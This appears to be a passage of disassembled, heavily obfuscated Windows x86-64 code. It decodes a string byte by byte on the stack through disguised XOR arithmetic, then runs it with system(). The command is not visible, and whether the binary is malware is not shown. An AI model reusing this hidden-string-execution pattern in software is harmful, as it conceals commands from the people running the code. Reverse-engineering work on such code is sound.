lea edx, [rbx - 0x1e]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
add dl, r10b
lea r8d, [rdx*2 - 0x5c]
jmp 0x140146985
lea edx, [r11 - 0x1b]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x43
cmp rax, 0x64
jae 0x140146855
lea rcx, [r9 + 0x28]
cmp rax, rcx
jbe 0x140146755
lea edx, [r11 + 6]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x2a
jmp 0x14014636c
lea edx, [r11 + 0x4f]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x29
lea rcx, [r9 + rax]
cmp rcx, 0x10
je 0x14014687d
lea rcx, [r9 + 8]
cmp rax, rcx
jbe 0x140146685
lea edx, [r11 - 0x21]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x19
jmp 0x1401463a9
lea edx, [r11 - 0x16]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + r11 - 0x56]
add rcx, r9
add r11, rcx
lea r8d, [r10 + rdx]
sub r8b, 0x66
inc r11
jmp 0x140145f13
lea edx, [r11 + 0x54]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x4c
jmp 0x1401468d5
lea edx, [r11 - 0x42]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x32
jmp 0x1401468b0
lea edx, [r11 + 0x28]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x18
jmp 0x140146a1c
lea r8d, [r11 - 0x6e]
mov edx, 1
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
add rax, r9
jmp 0x140146a1c
movzx ebx, r11b
mov edx, ntohs
lea r8d, [rbx - 4]
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
jmp 0x1401469e7
lea r8d, [r11 + 0x66]
mov edx, 0x1b
movzx ecx, r8b
dec r11
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
inc r11
jmp 0x140145f13
lea r8d, [r11 - 0x30]
mov edx, 0x28
movzx ecx, r8b
inc r9
and cl, r10b
dec r11
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
inc r11
jmp 0x140145f13
movzx ebx, r11b
mov edx, getservbyname
lea r8d, [rbx + 0x3a]
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
jmp 0x140146985
lea rcx, [r9 + 9]
cmp rax, rcx
jae 0x140146575
lea edx, [r11 + 0x4b]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0xd
jmp 0x1401463ee
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1401465a8
lea edx, [r11 + 0x4e]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + r11 - 0x56]
add rcx, r9
add r11, rcx
lea r8d, [r10 + rdx]
sub r8b, 0x22
inc r11
jmp 0x140145f13
inc rcx
cmp rax, rcx
jne 0x1401465cb
lea edx, [r11 + 0x7a]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x56
jmp 0x1401468b0
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1401465f6
lea r8d, [r11 - 0x5a]
mov edx, 0x3b
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
add rax, r9
jmp 0x140146a1c
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x140146622
movzx ebx, r11b
mov edx, 0x2e
lea r8d, [rbx + 0x3c]
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
jmp 0x1401469e7
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x140146650
lea r8d, [r11 - 0x2e]
mov edx, 0x21
movzx ecx, r8b
dec r11
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
inc r11
jmp 0x140145f13
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1401463ee
lea r8d, [r11 + 0x68]
mov edx, reloc.WS2_32.dll_sendto
movzx ecx, r8b
inc r9
and cl, r10b
dec r11
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
inc r11
jmp 0x140145f13
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1401466ac
movzx ebx, r11b
lea edx, [rbx + 0x75]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x33
jmp 0x140146985
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1401466d6
lea edx, [r11 - 0x5f]
dec r11
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x67
inc r11
jmp 0x140145f13
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x1401466fa
lea edx, [r11 + 0x63]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
add r8b, 0x4b
jmp 0x140146a1c
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x14014671e
lea edx, [r11 - 7]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
add r8b, 0x31
jmp 0x1401468b0
lea rcx, [r9 + 8]
cmp rax, rcx
jne 0x1401463a9
lea edx, [r11 + 0x25]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + r11 - 0x56]
add rcx, r9
add r11, rcx
lea r8d, [r10 + rdx]
sub r8b, 3
inc r11
jmp 0x140145f13
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140146788
lea edx, [r11 - 0x64]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + r11 - 0x56]
add rcx, r9
add r11, rcx
lea r8d, [r10 + rdx]
sub r8b, 0x44
inc r11
jmp 0x140145f13
inc rcx
cmp rax, rcx
jne 0x1401467ab
lea edx, [r11 - 0x38]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x78
jmp 0x1401468b0
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1401467d3
lea r8d, [r11 + 0x5e]
mov edx, reloc.WS2_32.dll_getservbyname
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
jmp 0x140146a1c
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1401467fe
lea r8d, [r11 - 0xc]
mov edx, 0x2a
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
add rax, r9
jmp 0x140146a1c
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x14014682a
movzx ebx, r11b
mov edx, 0x1d
lea r8d, [rbx - 0x76]
movzx ecx, r8b
and cl, r10b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r10b
jmp 0x1401469e7
lea rcx, [r9 + 9]
cmp rax, rcx
jne 0x14014636c
movzx ebx, r11b
lea edx, [rbx + 0x4c]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x14
jmp 0x140146985
movzx edx, byte [rbp + r11 - 0x56]
movzx ebx, r11b
lea r8d, [rbx + 0x78]
movzx ecx, r8b
sub r8b, 0x48
and cl, r10b
add cl, cl
sub dl, cl
add r8b, dl
add r8b, r10b
jmp 0x1401469e7
lea edx, [r11 + 0xe]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
sub dl, byte [rbp + r11 - 0x56]
lea r8d, [r10 + rdx]
sub r8b, 0x62
jmp 0x1401468b0
lea edx, [r11 + 0x41]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
add r8b, 0x39
lea edx, [r11 + 0x59]
inc r9
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
sub dl, 0x6f
add dl, r10b
movzx ecx, dl
mov byte [rbp + r11 - 0x56], cl
add rcx, r9
sub r11, rcx
lea edx, [r11 - 0x5c]
inc rax
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
mov rcx, 0xffffffffffffffff
sub rcx, rax
sub dl, 0x7c
add dl, r10b
mov byte [rbp + r11 - 0x56], dl
add r11, rcx
movzx ecx, byte [rbp + r11 - 0x56]
add rcx, r9
add r11, rcx
inc r11
jmp 0x140145f13
lea edx, [r11 - 0x55]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
add r8b, 0x53
jmp 0x140146a1c
lea edx, [r11 + 0x15]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
add r8b, 0x6d
add rax, r9
jmp 0x140146a1c
lea edx, [r11 - 0x17]
dec r11
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x5f
inc r11
jmp 0x140145f13
movzx ebx, r11b
lea edx, [rbx - 0x43]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x2b
movzx ecx, r10b
add bl, 0x2d
and cl, bl
add cl, cl
sub r10b, cl
sub r10b, 0x3b
add r10b, bl
mov byte [rbp + r11 - 0x56], r10b
inc r9
dec r11
inc r11
jmp 0x140145f13
lea edx, [r11 + 0x65]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
add r8b, 0x3d
dec r11
inc r11
jmp 0x140145f13
movzx ebx, r11b
lea edx, [rbx - 0x31]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
add r8b, 0x57
sub bl, 0x3d
movzx ecx, bl
and cl, r10b
add cl, cl
sub bl, cl
sub bl, 0x55
add bl, r10b
add bl, r8b
mov byte [rbp + r11 - 0x56], bl
add rax, r9
jmp 0x140146a1c
lea rdx, [r11 + r14]
movzx ecx, bl
and cl, dl
add cl, cl
sub bl, cl
lea r8d, [rdx + rbx]
sub r8b, 0x75
movzx ecx, r8b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add r11, rdx
inc r11
jmp 0x140145f13
lea rdx, [r11 + r15]
movzx ecx, bl
and cl, dl
add cl, cl
sub bl, cl
lea r8d, [rdx + rbx]
sub r8b, 0x27
movzx ecx, byte [rbp + r11 - 0x56]
add rcx, r9
add r11, rcx
inc r11
jmp 0x140145f13
sub r11b, 9
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
add r8b, 0x3f
jmp 0x140145f10
add r11b, 0x61
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r8d, [r11 + r10]
add r8b, 0x59
jmp 0x140145f00
lea rcx, [rbp + 0x16c320e]
jmp 0x140146aae
lea rcx, [rbp + 0x13d3259]
jmp 0x140146aae
lea rcx, [rbp - 0x56]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x17]
call fcn.1401358f0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret